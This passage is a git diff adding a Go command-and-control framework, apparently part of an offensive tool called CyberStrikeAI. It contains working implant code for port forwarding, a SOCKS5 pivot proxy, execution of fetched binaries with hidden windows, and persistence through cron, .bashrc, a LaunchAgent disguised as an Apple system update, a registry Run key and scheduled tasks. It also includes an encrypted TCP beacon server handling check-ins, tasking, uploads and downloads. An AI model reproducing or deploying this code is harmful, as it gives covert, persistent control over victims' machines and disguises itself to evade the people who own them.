:= payload["remote_host"].(string) + remotePort := int(getFloat(payload, "remote_port")) + + if action == "stop" { + key := fmt.Sprintf("%d", localPort) + portFwdMu.Lock() + if ln, ok := portFwdConns[key]; ok { + ln.Close() + delete(portFwdConns, key) + } + portFwdMu.Unlock() + return fmt.Sprintf("port forward on :%d stopped", localPort), "", "", "" + } + + if localPort <= 0 || remoteHost == "" || remotePort <= 0 { + return "", "", "", "local_port, remote_host, remote_port required" + } + + ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort)) + if err != nil { + return "", "", "", err.Error() + } + key := fmt.Sprintf("%d", localPort) + portFwdMu.Lock() + portFwdConns[key] = ln + portFwdMu.Unlock() + + go func() { + for { + conn, err := ln.Accept() + if err != nil { + return + } + go func(c net.Conn) { + defer c.Close() + remote, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", remoteHost, remotePort), 10*time.Second) + if err != nil { + return + } + defer remote.Close() + done := make(chan struct{}, 2) + go func() { io.Copy(remote, c); done <- struct{}{} }() + go func() { io.Copy(c, remote); done <- struct{}{} }() + <-done + }(conn) + } + }() + return fmt.Sprintf("port forward 127.0.0.1:%d -> %s:%d started", localPort, remoteHost, remotePort), "", "", "" +} + +// --- SOCKS5 Proxy --- + +var ( + socksMu sync.Mutex + socksListener net.Listener +) + +func taskSocksStart(payload map[string]interface{}) (string, string, string, string) { + port := int(getFloat(payload, "port")) + if port <= 0 { + port = 1080 + } + + socksMu.Lock() + if socksListener != nil { + socksMu.Unlock() + return "", "", "", "socks proxy already running" + } + socksMu.Unlock() + + ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port)) + if err != nil { + return "", "", "", err.Error() + } + socksMu.Lock() + socksListener = ln + socksMu.Unlock() + + go func() { + for { + conn, err := ln.Accept() + if err != nil { + return + } + go handleSocks5(conn) + } + }() + return fmt.Sprintf("SOCKS5 proxy started on 127.0.0.1:%d", port), "", "", "" +} + +func taskSocksStop(payload map[string]interface{}) (string, string, string, string) { + socksMu.Lock() + if socksListener != nil { + socksListener.Close() + socksListener = nil + } + socksMu.Unlock() + return "SOCKS5 proxy stopped", "", "", "" +} + +func handleSocks5(conn net.Conn) { + defer conn.Close() + buf := make([]byte, 258) + // Auth negotiation + n, err := conn.Read(buf) + if err != nil || n < 3 || buf[0] != 0x05 { + return + } + conn.Write([]byte{0x05, 0x00}) // no auth + + // Request + n, err = conn.Read(buf) + if err != nil || n < 7 || buf[0] != 0x05 || buf[1] != 0x01 { + conn.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) + return + } + + var target string + switch buf[3] { + case 0x01: // IPv4 + if n < 10 { + return + } + target = fmt.Sprintf("%d.%d.%d.%d:%d", buf[4], buf[5], buf[6], buf[7], + int(buf[8])<<8|int(buf[9])) + case 0x03: // Domain + domainLen := int(buf[4]) + if n < 5+domainLen+2 { + return + } + domain := string(buf[5 : 5+domainLen]) + port := int(buf[5+domainLen])<<8 | int(buf[5+domainLen+1]) + target = fmt.Sprintf("%s:%d", domain, port) + case 0x04: // IPv6 + if n < 22 { + return + } + ip := net.IP(buf[4:20]) + port := int(buf[20])<<8 | int(buf[21]) + target = fmt.Sprintf("[%s]:%d", ip.String(), port) + default: + conn.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) + return + } + + remote, err := net.DialTimeout("tcp", target, 10*time.Second) + if err != nil { + conn.Write([]byte{0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) + return + } + defer remote.Close() + + // Success reply + conn.Write([]byte{0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) + + done := make(chan struct{}, 2) + go func() { io.Copy(remote, conn); done <- struct{}{} }() + go func() { io.Copy(conn, remote); done <- struct{}{} }() + <-done +} + +// --- Load Assembly (in-memory exec) --- + +func taskLoadAssembly(payload map[string]interface{}) (string, string, string, string) { + b64Data, _ := payload["data"].(string) + args, _ := payload["args"].(string) + + if b64Data == "" { + fileID, _ := payload["file_id"].(string) + if fileID == "" { + return "", "", "", "data (base64) or file_id required" + } + asm, err := fetchC2FileByID(fileID) + if err != nil { + return "", "", "", err.Error() + } + b64Data = base64.StdEncoding.EncodeToString(asm) + } + + data, err := base64.StdEncoding.DecodeString(b64Data) + if err != nil { + return "", "", "", "decode assembly: " + err.Error() + } + + tmpDir := os.TempDir() + tmpFile := filepath.Join(tmpDir, fmt.Sprintf(".cs_%d", time.Now().UnixNano())) + if runtime.GOOS == "windows" { + tmpFile += ".exe" + } + if err := os.WriteFile(tmpFile, data, 0700); err != nil { + return "", "", "", err.Error() + } + defer os.Remove(tmpFile) + + cmdArgs := []string{} + if args != "" { + cmdArgs = strings.Fields(args) + } + cmd := exec.Command(tmpFile, cmdArgs...) + prepareHiddenCmd(cmd) + cwdMu.Lock() + cmd.Dir = currentCwd + cwdMu.Unlock() + + out, err := cmd.CombinedOutput() + if err != nil { + return string(out), "", "", err.Error() + } + return string(out), "", "", "" +} + +// --- Persistence --- + +func taskPersist(payload map[string]interface{}) (string, string, string, string) { + method, _ := payload["method"].(string) + if method == "" { + method = "auto" + } + exe := exeSelf() + if exe == "" || exe == "unknown" { + return "", "", "", "cannot determine self path" + } + + switch runtime.GOOS { + case "linux": + return persistLinux(exe, method) + case "darwin": + return persistDarwin(exe, method) + case "windows": + return persistWindows(exe, method) + default: + return "", "", "", "persistence not supported on " + runtime.GOOS + } +} + +func persistLinux(exe, method string) (string, string, string, string) { + if method == "auto" || method == "cron" { + cronEntry := fmt.Sprintf("@reboot %s &\n", exe) + out, err := runWithTimeout(fmt.Sprintf("(crontab -l 2>/dev/null; echo '%s') | sort -u | crontab -", strings.TrimSpace(cronEntry)), 10) + if err == nil { + return "persistence installed via cron: " + out, "", "", "" + } + } + if method == "auto" || method == "bashrc" { + line := fmt.Sprintf("\n(nohup %s &>/dev/null &) # cs\n", exe) + home, _ := os.UserHomeDir() + if home != "" { + f, err := os.OpenFile(filepath.Join(home, ".bashrc"), os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644) + if err == nil { + f.WriteString(line) + f.Close() + return "persistence installed via .bashrc", "", "", "" + } + } + } + return "", "", "", "persistence failed on linux" +} + +func persistDarwin(exe, method string) (string, string, string, string) { + if method == "auto" || method == "launchagent" { + home, _ := os.UserHomeDir() + if home == "" { + return "", "", "", "cannot determine home dir" + } + plistDir := filepath.Join(home, "Library", "LaunchAgents") + os.MkdirAll(plistDir, 0755) + plist := fmt.Sprintf(` + + + + Labelcom.apple.systemupdate + ProgramArguments%s + RunAtLoad + KeepAlive + StandardOutPath/dev/null + StandardErrorPath/dev/null + +`, exe) + plistPath := filepath.Join(plistDir, "com.apple.systemupdate.plist") + if err := os.WriteFile(plistPath, []byte(plist), 0644); err != nil { + return "", "", "", err.Error() + } + return "persistence installed via LaunchAgent: " + plistPath, "", "", "" + } + return "", "", "", "persistence method not supported on darwin" +} + +func persistWindows(exe, method string) (string, string, string, string) { + if method == "auto" || method == "registry" { + cmd := fmt.Sprintf(`reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "%s" /f`, exe) + out, err := runWithTimeout(cmd, 10) + if err == nil { + return "persistence installed via registry Run key: " + out, "", "", "" + } + } + if method == "auto" || method == "schtasks" { + cmd := fmt.Sprintf(`schtasks /create /tn "SystemUpdate" /tr "%s" /sc onlogon /rl highest /f`, exe) + out, err := runWithTimeout(cmd, 10) + if err == nil { + return "persistence installed via schtasks: " + out, "", "", "" + } + } + return "", "", "", "persistence failed on windows" +} + +func getFloat(m map[string]interface{}, key string) float64 { + v, _ := m[key].(float64) + return v +} diff --git a/internal/c2/payload_templates/proc_hide_unix.go.tmpl b/internal/c2/payload_templates/proc_hide_unix.go.tmpl new file mode 100644 index 00000000..d3803638 --- /dev/null +++ b/internal/c2/payload_templates/proc_hide_unix.go.tmpl @@ -0,0 +1,9 @@ +//go:build !windows + +package main + +import "os/exec" + +func prepareHiddenCmd(cmd *exec.Cmd) { + _ = cmd +} diff --git a/internal/c2/payload_templates/proc_hide_windows.go.tmpl b/internal/c2/payload_templates/proc_hide_windows.go.tmpl new file mode 100644 index 00000000..3e514adf --- /dev/null +++ b/internal/c2/payload_templates/proc_hide_windows.go.tmpl @@ -0,0 +1,18 @@ +//go:build windows + +package main + +import ( + "os/exec" + "syscall" +) + +// prepareHiddenCmd 避免子进程弹出控制台窗口（cmd / powershell / 临时 exe 等）。 +func prepareHiddenCmd(cmd *exec.Cmd) { + if cmd == nil { + return + } + // 仅用 HideWindow：等价于 CREATE_NO_WINDOW，且 macOS/Linux 交叉编译 Windows 时 + // syscall.CREATE_NO_WINDOW 常量不可用。 + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} +} diff --git a/internal/c2/session_watchdog.go b/internal/c2/session_watchdog.go new file mode 100644 index 00000000..328f1f32 --- /dev/null +++ b/internal/c2/session_watchdog.go @@ -0,0 +1,109 @@ +package c2 + +import ( + "context" + "time" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +// SessionWatchdog 会话心跳看门狗：周期扫描所有 active/sleeping 会话， +// 把超过 (sleep * (1 + jitter%) * graceFactor + minGrace) 仍未心跳的标为 dead。 +// +// 设计要点： +// - 单 goroutine + ticker，避免对每个会话开 timer，session 数量大时也线性 OK； +// - 阈值随会话自身 sleep/jitter 自适应（sleep=300s 的会话不能用 sleep=5s 的判定）； +// - 全局最小宽限期 minGrace 避免 sleep 配置错误的会话被误判； +// - 不读 implant_uuid，纯按 last_check_in 字段，与 listener 类型解耦。 +type SessionWatchdog struct { + manager *Manager + logger *zap.Logger + interval time.Duration // 扫描周期，默认 15s + minGrace time.Duration // 最小宽限期，默认 30s + gracePct float64 // 心跳超时倍数，默认 3.0（即 3 倍 sleep 周期没心跳算掉线） + stopCh chan struct{} +} + +// NewSessionWatchdog 创建看门狗 +func NewSessionWatchdog(m *Manager) *SessionWatchdog { + return &SessionWatchdog{ + manager: m, + logger: m.Logger().With(zap.String("component", "c2-watchdog")), + interval: 15 * time.Second, + minGrace: 30 * time.Second, + gracePct: 3.0, + stopCh: make(chan struct{}), + } +} + +// Run 阻塞执行，直到 ctx.Done() 或 Stop() +func (w *SessionWatchdog) Run(ctx context.Context) { + t := time.NewTicker(w.interval) + defer t.Stop() + for { + select { + case <-ctx.Done(): + return + case <-w.stopCh: + return + case <-t.C: + w.tick() + } + } +} + +// Stop 停止 +func (w *SessionWatchdog) Stop() { + select { + case <-w.stopCh: + default: + close(w.stopCh) + } +} + +func (w *SessionWatchdog) tick() { + now := time.Now() + for _, status := range []string{string(SessionActive), string(SessionSleeping)} { + sessions, err := w.manager.DB().ListC2Sessions(database.ListC2SessionsFilter{Status: status}) + if err != nil { + w.logger.Warn("watchdog 列表查询失败", zap.Error(err)) + continue + } + for _, s := range sessions { + if w.isStale(s, now) { + if err := w.manager.MarkSessionDead(s.ID); err != nil { + w.logger.Warn("标记会话掉线失败", zap.String("session_id", s.ID), zap.Error(err)) + } + } + } + } +} + +// isStale 判断会话是否超时 +func (w *SessionWatchdog) isStale(s *database.C2Session, now time.Time) bool { + // 无心跳记录：以 first_seen_at 兜底 + last := s.LastCheckIn + if last.IsZero() { + last = s.FirstSeenAt + } + sleep := s.SleepSeconds + if sleep <= 0 { + // TCP reverse 模式 sleep=0 → 用最小宽限期判定 + return now.Sub(last) > w.minGrace*2 + } + jitter := s.JitterPercent + if jitter < 0 { + jitter = 0 + } + if jitter > 100 { + jitter = 100 + } + // 阈值 = sleep * (1 + jitter%) * gracePct，再加 minGrace 兜底 + expected := time.Duration(float64(sleep)*(1+float64(jitter)/100.0)*w.gracePct) * time.Second + if expected < w.minGrace { + expected = w.minGrace + } + return now.Sub(last) > expected +} diff --git a/internal/c2/tcp_beacon_server.go b/internal/c2/tcp_beacon_server.go new file mode 100644 index 00000000..9c044196 --- /dev/null +++ b/internal/c2/tcp_beacon_server.go @@ -0,0 +1,272 @@ +package c2 + +import ( + "bufio" + "crypto/subtle" + "encoding/base64" + "encoding/binary" + "encoding/json" + "fmt" + "io" + "net" + "os" + "path/filepath" + "strings" + "sync" + "time" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +// tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节，用于与经典 shell 反弹区分。 +const tcpBeaconMagic = "CSB1" + +// tcpBeaconPeekTimeout 等待 CSB1 魔数的探测窗口；合法 Beacon 连接后立即发送魔数。 +const tcpBeaconPeekTimeout = 2 * time.Second + +// tcpBeaconMaxFrame 单帧密文（base64 字符串）最大字节数，防止 OOM。 +const tcpBeaconMaxFrame = 64 << 20 + +func readTCPBeaconFrame(r *bufio.Reader) (cipherB64 string, err error) { + var n uint32 + if err = binary.Read(r, binary.BigEndian, &n); err != nil { + return "", err + } + if n == 0 || int64(n) > int64(tcpBeaconMaxFrame) { + return "", fmt.Errorf("invalid tcp beacon frame size") + } + buf := make([]byte, n) + if _, err = io.ReadFull(r, buf); err != nil { + return "", err + } + return string(buf), nil +} + +func writeTCPBeaconFrame(mu *sync.Mutex, conn net.Conn, cipherB64 string) error { + if mu != nil { + mu.Lock() + defer mu.Unlock() + } + payload := []byte(cipherB64) + if len(payload) > tcpBeaconMaxFrame { + return fmt.Errorf("frame too large") + } + var hdr [4]byte + binary.BigEndian.PutUint32(hdr[:], uint32(len(payload))) + if _, err := conn.Write(hdr[:]); err != nil { + return err + } + _, err := conn.Write(payload) + return err +} + +func tcpBeaconCheckToken(expected, got string) bool { + if got == "" || expected == "" { + return false + } + return subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1 +} + +// handleTCPBeaconSession 处理已消费魔数 CSB1 之后的 TCP Beacon 会话（与 HTTP Beacon 相同的 AES-GCM + JSON 语义）。 +func (l *TCPReverseListener) handleTCPBeaconSession(conn net.Conn, br *bufio.Reader) { + var writeMu sync.Mutex + defer func() { + _ = conn.Close() + }() + + for { + _ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute)) + cipherB64, err := readTCPBeaconFrame(br) + if err != nil { + if err != io.EOF && !isClosedConnErr(err) { + l.logger.Debug("tcp beacon read frame", zap.Error(err)) + } + return + } + plain, err := DecryptAESGCM(l.rec.EncryptionKey, cipherB64) + if err != nil { + l.logger.Warn("tcp beacon decrypt failed", zap.Error(err)) + return + } + + var env map[string]json.RawMessage + if err := json.Unmarshal(plain, &env); err != nil { + l.logger.Warn("tcp beacon json", zap.Error(err)) + return + } + opBytes, ok := env["op"] + if !ok { + return + } + var op string + if err := json.Unmarshal(opBytes, &op); err != nil { + return + } + var token string + if tb, ok := env["token"]; ok { + _ = json.Unmarshal(tb, &token) + } + if !tcpBeaconCheckToken(l.rec.ImplantToken, token) { + l.logger.Warn("tcp beacon bad token", zap.String("listener_id", l.rec.ID)) + return + } + + var resp interface{} + switch op { + case "check_in": + rawCheck, ok := env["check"] + if !ok { + return + } + var req ImplantCheckInRequest + if err := json.Unmarshal(rawCheck, &req); err != nil { + return + } + if req.UserAgent == "" { + req.UserAgent = "tcp_beacon" + } + if req.SleepSeconds <= 0 { + req.SleepSeconds = l.cfg.DefaultSleep + } + host, _, _ := net.SplitHostPort(conn.RemoteAddr().String()) + if req.Metadata == nil { + req.Metadata = map[string]interface{}{} + } + req.Metadata["transport"] = "tcp_beacon" + req.Metadata["remote"] = conn.RemoteAddr().String() + if strings.TrimSpace(req.InternalIP) == "" { + req.InternalIP = host + } + session, err := l.manager.IngestCheckIn(l.rec.ID, req) + if err != nil { + l.logger.Warn("tcp beacon check_in", zap.Error(err)) + return + } + queued, _ := l.manager.DB().ListC2Tasks(database.ListC2TasksFilter{ + SessionID: session.ID, + Status: string(TaskQueued), + Limit: 1, + }) + resp = ImplantCheckInResponse{ + SessionID: session.ID, + NextSleep: session.SleepSeconds, + NextJitter: session.JitterPercent, + HasTasks: len(queued) > 0, + ServerTime: NowUnixMillis(), + } + + case "tasks": + rawSID, ok := env["session_id"] + if !ok { + return + } + var sessionID string + if err := json.Unmarshal(rawSID, &sessionID); err != nil || sessionID == "" { + return + } + sess, err := l.manager.DB().GetC2Session(sessionID) + if err != nil || sess == nil || sess.ListenerID != l.rec.ID { + return + } + envelopes, err := l.manager.PopTasksForBeacon(sessionID, 50) + if err != nil { + return + } + if envelopes == nil { + envelopes = []TaskEnvelope{} + } + resp = map[string]interface{}{"tasks": envelopes} + + case "result": + raw, ok := env["result"] + if !ok { + return + } + var report TaskResultReport + if err := json.Unmarshal(raw, &report); err != nil { + return + } + if err := l.manager.IngestTaskResult(report); err != nil { + return + } + resp = map[string]string{"ok": "1"} + + case "upload": + raw, ok := env["upload"] + if !ok { + return + } + var up struct { + TaskID string `json:"task_id"` + DataB64 string `json:"data_b64"` + } + if err := json.Unmarshal(raw, &up); err != nil || up.TaskID == "" { + return + } + plainFile, err := base64.StdEncoding.DecodeString(up.DataB64) + if err != nil { + return + } + dir, dst, err := uploadPathForTask(l.manager.StorageDir(), up.TaskID) + if err != nil { + return + } + if err := os.MkdirAll(dir, 0o755); err != nil { + return + } + if err := os.WriteFile(dst, plainFile, 0o644); err != nil { + return + } + resp = map[string]interface{}{"ok": 1, "size": len(plainFile)} + + case "file": + raw, ok := env["file"] + if !ok { + return + } + var fr struct { + FileID string `json:"file_id"` + } + if err := json.Unmarshal(raw, &fr); err != nil || fr.FileID == "" { + return + } + if strings.Contains(fr.FileID, "/") || strings.Contains(fr.FileID, "\\") || strings.Contains(fr.FileID, "..") { + return + } + fpath := filepath.Join(l.manager.StorageDir(), "downstream", fr.FileID+".bin") + absPath, err := filepath.Abs(fpath) + if err != nil { + return + } + absDir, err := filepath.Abs(filepath.Join(l.manager.StorageDir(), "downstream")) + if err != nil || !strings.HasPrefix(absPath, absDir+string(filepath.Separator)) { + return + } + data, err := os.ReadFile(absPath) + if err != nil { + return + } + resp = map[string]interface{}{ + "file_data": base64Encode(data), + } + + default: + return + } + + body, err := json.Marshal(resp) + if err != nil { + return + } + enc, err := EncryptAESGCM(l.rec.EncryptionKey, body) + if err != nil { + return + } + _ = conn.SetWriteDeadline(time.Now().Add(3 * time.Minute)) + if err := writeTCPBeaconFrame(&writeMu, conn, enc); err != nil { + return + } + } +} diff --git a/internal/c2/types.go b/internal/c2/types.go new file mode 100644 index 00000000..a6fb4acf --- /dev/null +++ b/internal/c2/types.go @@ -0,0 +1,262 @@ +// Package c2 实现 CyberStrikeAI 内置 C2（Command & Control）框架。 +// +// 设计概述： +// - Manager 作为统一入口，被 internal/app 实例化并注入到所有需要操控 C2 的组件 +// （HTTP handler、MCP 工具、HITL 桥、攻击链记录器等）。 +// - Listener 是抽象接口，下挂 tcp_reverse / http_beacon / https_beacon / websocket +// 等不同传输方式的具体实现，全部通过 listener.Registry 工厂创建。 +// - 任务调度走数据库（c2_tasks 表）+ 内存事件总线（EventBus）混合： +// * 状态变化与历史记录靠 SQLite 实现持久化与重启恢复； +// * 高频实时通知（如新任务结果）通过 EventBus 推送给 SSE/WS 订阅者，避免轮询。 +// - Crypto 层固定 AES-256-GCM，每个 Listener 独立 32 字节密钥；密钥仅服务端持有 +// 和编译期注入到 implant，事件流不允许导出明文密钥。 +package c2 + +import ( + "errors" + "strings" + "time" +) + +// ListenerType 监听器类型，与 c2_listeners.type 字段一致 +type ListenerType string + +const ( + ListenerTypeTCPReverse ListenerType = "tcp_reverse" + ListenerTypeHTTPBeacon ListenerType = "http_beacon" + ListenerTypeHTTPSBeacon ListenerType = "https_beacon" + ListenerTypeWebSocket ListenerType = "websocket" +) + +// AllListenerTypes 列出所有受支持的监听器类型，便于校验与前端枚举 +func AllListenerTypes() []ListenerType { + return []ListenerType{ + ListenerTypeTCPReverse, + ListenerTypeHTTPBeacon, + ListenerTypeHTTPSBeacon, + ListenerTypeWebSocket, + } +} + +// IsValidListenerType 校验前端/MCP 入参是否为合法 type +func IsValidListenerType(t string) bool { + t = strings.ToLower(strings.TrimSpace(t)) + for _, lt := range AllListenerTypes() { + if string(lt) == t { + return true + } + } + return false +} + +// SessionStatus 与 c2_sessions.status 一致 +type SessionStatus string + +const ( + SessionActive SessionStatus = "active" + SessionSleeping SessionStatus = "sleeping" + SessionDead SessionStatus = "dead" + SessionKilled SessionStatus = "killed" +) + +// TaskStatus 与 c2_tasks.status 一致 +type TaskStatus string + +const ( + TaskQueued TaskStatus = "queued" + TaskSent TaskStatus = "sent" + TaskRunning TaskStatus = "running" + TaskSuccess TaskStatus = "success" + TaskFailed TaskStatus = "failed" + TaskCancelled TaskStatus = "cancelled" +) + +// TaskType 任务类型（与 beacon 端协商，避免硬编码字符串） +type TaskType string + +const ( + // 通用任务 + TaskTypeExec TaskType = "exec" // 执行任意命令（shell -c） + TaskTypeShell TaskType = "shell" // 交互式命令（保持 cwd） + TaskTypePwd TaskType = "pwd" // 当前目录 + TaskTypeCd TaskType = "cd" // 切目录 + TaskTypeLs TaskType = "ls" // 列目录 + TaskTypePs TaskType = "ps" // 列进程 + TaskTypeKillProc TaskType = "kill_proc" // 杀进程 + TaskTypeUpload TaskType = "upload" // 推文件到目标 + TaskTypeDownload TaskType = "download" // 拉文件回本机 + TaskTypeScreenshot TaskType = "screenshot" // 截图 + TaskTypeSleep TaskType = "sleep" // 调整心跳节律 + TaskTypeExit TaskType = "exit" // 让 implant 退出（不会自删二进制） + TaskTypeSelfDelete TaskType = "self_delete" // 退出 + 自删二进制（持久化清理） + // 高级任务 + TaskTypePortFwd TaskType = "port_fwd" + TaskTypeSocksStart TaskType = "socks_start" + TaskTypeSocksStop TaskType = "socks_stop" + TaskTypeLoadAssembly TaskType = "load_assembly" + TaskTypePersist TaskType = "persist" +) + +// AllTaskTypes 全部 task_type，便于工具 schema 列出 enum +func AllTaskTypes() []TaskType { + return []TaskType{ + TaskTypeExec, TaskTypeShell, + TaskTypePwd, TaskTypeCd, TaskTypeLs, TaskTypePs, TaskTypeKillProc, + TaskTypeUpload, TaskTypeDownload, TaskTypeScreenshot, + TaskTypeSleep, TaskTypeExit, TaskTypeSelfDelete, + TaskTypePortFwd, TaskTypeSocksStart, TaskTypeSocksStop, TaskTypeLoadAssembly, + TaskTypePersist, + } +} + +// IsDangerousTaskType 标记需要 HITL 二次确认的任务类型； +// 与 internal/handler/hitl.go 现有的 tool_whitelist 概念呼应：白名单外 → 走审批。 +func IsDangerousTaskType(t TaskType) bool { + switch t { + case TaskTypeKillProc, TaskTypeUpload, TaskTypeSelfDelete, + TaskTypePortFwd, TaskTypeSocksStart, TaskTypeLoadAssembly, TaskTypePersist: + return true + } + return false +} + +// ListenerConfig 解码后的监听器运行配置（来自 c2_listeners.config_json） +type ListenerConfig struct { + // HTTP/HTTPS Beacon 公共字段 + BeaconCheckInPath string `json:"beacon_check_in_path,omitempty"` // 默认 "/check_in" + BeaconTasksPath string `json:"beacon_tasks_path,omitempty"` // 默认 "/tasks" + BeaconResultPath string `json:"beacon_result_path,omitempty"` // 默认 "/result" + BeaconUploadPath string `json:"beacon_upload_path,omitempty"` // 默认 "/upload" + BeaconFilePath string `json:"beacon_file_path,omitempty"` // 默认 "/file/" + // HTTPS 专属 + TLSCertPath string `json:"tls_cert_path,omitempty"` + TLSKeyPath string `json:"tls_key_path,omitempty"` + TLSAutoSelfSign bool `json:"tls_auto_self_sign,omitempty"` // true：找不到证书时自动生成自签 + // 客户端默认参数（写到 c2_sessions 初值，beacon 也可在 check-in 时覆写） + DefaultSleep int `json:"default_sleep,omitempty"` // 秒，默认 5 + DefaultJitter int `json:"default_jitter,omitempty"` // 0-100，默认 0 + // OPSEC：可选命令黑名单（正则） + CommandDenyRegex []string `json:"command_deny_regex,omitempty"` + // 任务并发上限（每个会话同时下发的最大任务数，0 表示不限制） + MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"` + // CallbackHost 植入端/Payload 使用的回连主机名（可选）；与 bind_host 分离，便于 NAT/ECS 等场景 + CallbackHost string `json:"callback_host,omitempty"` + // AllowLegacyShell 为 true 时 tcp_reverse 允许未加密的经典 bash/nc 反弹 shell 登记会话（默认 false，公网部署强烈不建议开启） + AllowLegacyShell bool `json:"allow_legacy_shell,omitempty"` +} + +// ApplyDefaults 对未填字段填默认值；调用方负责持久化时序列化新值 +func (c *ListenerConfig) ApplyDefaults() { + if strings.TrimSpace(c.BeaconCheckInPath) == "" { + c.BeaconCheckInPath = "/check_in" + } + if strings.TrimSpace(c.BeaconTasksPath) == "" { + c.BeaconTasksPath = "/tasks" + } + if strings.TrimSpace(c.BeaconResultPath) == "" { + c.BeaconResultPath = "/result" + } + if strings.TrimSpace(c.BeaconUploadPath) == "" { + c.BeaconUploadPath = "/upload" + } + if strings.TrimSpace(c.BeaconFilePath) == "" { + c.BeaconFilePath = "/file/" + } + if c.DefaultSleep <= 0 { + c.DefaultSleep = 5 + } + if c.DefaultJitter < 0 { + c.DefaultJitter = 0 + } + if c.DefaultJitter > 100 { + c.DefaultJitter = 100 + } +} + +// ImplantCheckInRequest beacon → 服务端的注册/心跳请求体（已解密后的明文） +type ImplantCheckInRequest struct { + ImplantUUID string `json:"uuid"` + Hostname string `json:"hostname"` + Username string `json:"username"` + OS string `json:"os"` + Arch string `json:"arch"` + PID int `json:"pid"` + ProcessName string `json:"process_name"` + IsAdmin bool `json:"is_admin"` + InternalIP string `json:"internal_ip"` + UserAgent string `json:"user_agent,omitempty"` + SleepSeconds int `json:"sleep_seconds"` + JitterPercent int `json:"jitter_percent"` + Metadata map[string]interface{} `json:"metadata,omitempty"` +} + +// ImplantCheckInResponse 服务端回执 +type ImplantCheckInResponse struct { + SessionID string `json:"session_id"` + NextSleep int `json:"next_sleep"` + NextJitter int `json:"next_jitter"` + HasTasks bool `json:"has_tasks"` + ServerTime int64 `json:"server_time"` +} + +// TaskEnvelope 服务端 → beacon 的任务派发载体 +type TaskEnvelope struct { + TaskID string `json:"task_id"` + TaskType string `json:"task_type"` + Payload map[string]interface{} `json:"payload"` +} + +// TaskResultReport beacon → 服务端的任务结果回传 +type TaskResultReport struct { + TaskID string `json:"task_id"` + Success bool `json:"success"` + Output string `json:"output,omitempty"` + OutputB64 string `json:"output_b64,omitempty"` // 原始控制台字节（base64），避免 JSON 破坏非 UTF-8 输出 + Error string `json:"error,omitempty"` + ErrorB64 string `json:"error_b64,omitempty"` + BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制 + BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png" + StartedAt int64 `json:"started_at"` + EndedAt int64 `json:"ended_at"` +} + +// CommonError C2 模块统一错误类型，便于 handler 层映射 HTTP 状态码 +type CommonError struct { + Code string + Message string + HTTP int +} + +func (e *CommonError) Error() string { + if e == nil { + return "" + } + return e.Message +} + +// Sentinel errors，便于 errors.Is 比较 +var ( + ErrListenerNotFound = &CommonError{Code: "listener_not_found", Message: "监听器不存在", HTTP: 404} + ErrSessionNotFound = &CommonError{Code: "session_not_found", Message: "会话不存在", HTTP: 404} + ErrTaskNotFound = &CommonError{Code: "task_not_found", Message: "任务不存在", HTTP: 404} + ErrProfileNotFound = &CommonError{Code: "profile_not_found", Message: "Profile 不存在", HTTP: 404} + ErrInvalidInput = &CommonError{Code: "invalid_input", Message: "参数非法", HTTP: 400} + ErrAuthFailed = &CommonError{Code: "auth_failed", Message: "鉴权失败", HTTP: 401} + ErrPortInUse = &CommonError{Code: "port_in_use", Message: "端口已被占用", HTTP: 409} + ErrListenerRunning = &CommonError{Code: "listener_running", Message: "监听器已在运行", HTTP: 409} + ErrListenerStopped = &CommonError{Code: "listener_stopped", Message: "监听器未运行", HTTP: 409} + ErrUnsupportedType = &CommonError{Code: "unsupported_type", Message: "不支持的监听器类型", HTTP: 400} +) + +// SafeBindPort 校验端口范围 +func SafeBindPort(port int) error { + if port < 1 || port > 65535 { + return errors.New("port must be in 1..65535") + } + return nil +} + +// NowUnixMillis 统一时间戳工具 +func NowUnixMillis() int64 { + return time.Now().UnixNano() / int64(time.Millisecond) +} diff --git a/internal/hitl/retention.go b/internal/hitl/retention.go new file mode 100644 index 00000000..2746d0f0 --- /dev/null +++ b/internal/hitl/retention.go @@ -0,0 +1,71 @@ +package hitl + +import ( + "time" + + "cyberstrike-ai/internal/config" + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +const retentionPurgeInterval = time.Hour + +// Service manages HITL audit log retention (decided hitl_interrupts rows). +type Service struct { + db *database.DB + cfg *config.Config + logger *zap.Logger +} + +// NewService creates a HITL audit log retention service. +func NewService(db *database.DB, cfg *config.Config, logger *zap.Logger) *Service { + return &Service{db: db, cfg: cfg, logger: logger} +} + +// RetentionDays returns configured retention; 0 means keep forever. +func (s *Service) RetentionDays() int { + if s == nil || s.cfg == nil { + return config.HitlConfig{}.RetentionDaysEffective() + } + return s.cfg.Hitl.RetentionDaysEffective() +} + +// PurgeExpired deletes decided HITL log rows older than retention_days when configured. +func (s *Service) PurgeExpired() { + if s == nil || s.db == nil || s.cfg == nil { + return + } + days := s.cfg.Hitl.RetentionDaysEffective() + if days <= 0 { + return + } + cutoff := time.Now().AddDate(0, 0, -days) + n, err := s.db.PurgeHitlInterruptLogsBefore(cutoff) + if err != nil { + if s.logger != nil { + s.logger.Warn("清理过期人机协同审计日志失败", zap.Error(err)) + } + return + } + if n > 0 && s.logger != nil { + s.logger.Info("已清理过期人机协同审计日志", zap.Int64("deleted", n), zap.Int("retention_days", days)) + } +} + +// StartRetentionLoop periodically purges expired HITL audit log rows. +func StartRetentionLoop(s *Service, logger *zap.Logger) { + if s == nil { + return + } + go func() { + ticker := time.NewTicker(retentionPurgeInterval) + defer ticker.Stop() + for range ticker.C { + s.PurgeExpired() + if logger != nil { + 